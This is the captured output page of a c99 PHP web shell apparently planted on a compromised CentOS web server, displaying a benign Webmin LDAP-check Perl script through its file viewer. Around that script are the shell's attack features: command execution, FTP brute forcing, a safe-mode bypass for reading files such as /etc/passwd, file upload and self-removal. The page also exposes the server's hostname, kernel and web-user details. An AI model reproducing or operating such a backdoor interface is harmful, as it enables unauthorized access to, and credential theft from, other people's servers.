!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/ldap-client/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     check.cgi (2.34 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Check the user's LDAP settings

require './ldap-client-lib.pl';
require './switch-lib.pl';
&ui_print_unbuffered_header(undef, $text{'check_title'}, "");

# Get the user base
print $text{'check_base'},"<br>\n";
$conf = &get_config();
$user_base = &find_svalue("nss_base_passwd", $conf) ||
         &find_svalue("base", $conf);
if (!$user_base) {
    &print_problem(&text('check_ebase'));
    goto END;
    }
else {
    print &text('check_based', "<tt>$user_base</tt>"),"<p>\n";
    }

# Attempt to connect to LDAP server
print $text{'check_connect'},"<br>\n";
$ldap = &ldap_connect(1);
if (!ref($ldap)) {
    &print_problem(&text('check_econnect', $ldap));
    goto END;
    }
else {
    local $ldaphost;
    eval { $ldaphost = $ldap->host(); };
    $ldaphost ||= &get_ldap_host();
    print &text('check_connected', $ldaphost),"<p>\n";
    }

# Work out the scope
$scope = &find_svalue("scope", $conf);
if ($user_base =~ s/\?([^\?]*)(\?([^\?]*))?$//) {
    $scope = $1;
    }
$scope ||= "one";

# Look for some users
print $text{'check_search'},"<br>\n";
$rv = $ldap->search(base => $user_base,
            filter => '(objectClass=posixAccount)',
            scope => $scope);
if ($rv->code) {
    # Search failed!
    &print_problem(&text('check_esearch', $rv->error));
    goto END;
    }
if (!$rv->count) {
    &print_problem(&text('check_eusers', "<tt>$user_base</tt>"));
    goto END;
    }
else {
    print &text('check_found', $rv->count),"<p>\n";
    }

# Check NSS configuration for users
print $text{'check_nss'},"<br>\n";
$nss = &get_nsswitch_config();
($passwd) = grep { $_->{'name'} eq 'passwd' } @$nss;
($ldapsrc) = grep { $_->{'src'} eq 'ldap' } @{$passwd->{'srcs'}};
if (!$ldapsrc) {
    &print_problem($text{'check_enss'});
    goto END;
    }
else {
    print $text{'check_nssok'},"<p>\n";
    }

# Make sure one of the users is a valid Unix user
$first = $rv->entry(0);
print &text('check_match', "<tt>".$first->get_value("uid")."</tt>"),"<br>\n";
$uid = getpwnam($first->get_value("uid"));
if (!$uid) {
    # Sometimes this fails due to nsswitch.conf caching .. so try forking
    # a separate command
    $uid = &backquote_command(
        "id -a ".$first->get_value("uid")." 2>/dev/null");
    }
if (!$uid) {
    &print_problem($text{'check_ematch'});
    goto END;
    }
else {
    print $text{'check_matched'},"<p>\n";

    print "<b>$text{'check_done'}</b><p>\n";
    }

END:
&ui_print_footer("", $text{'index_return'});

sub print_problem
{
print "<font color=#ff0000>",@_,"</font><p>\n";
}

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0159 ]--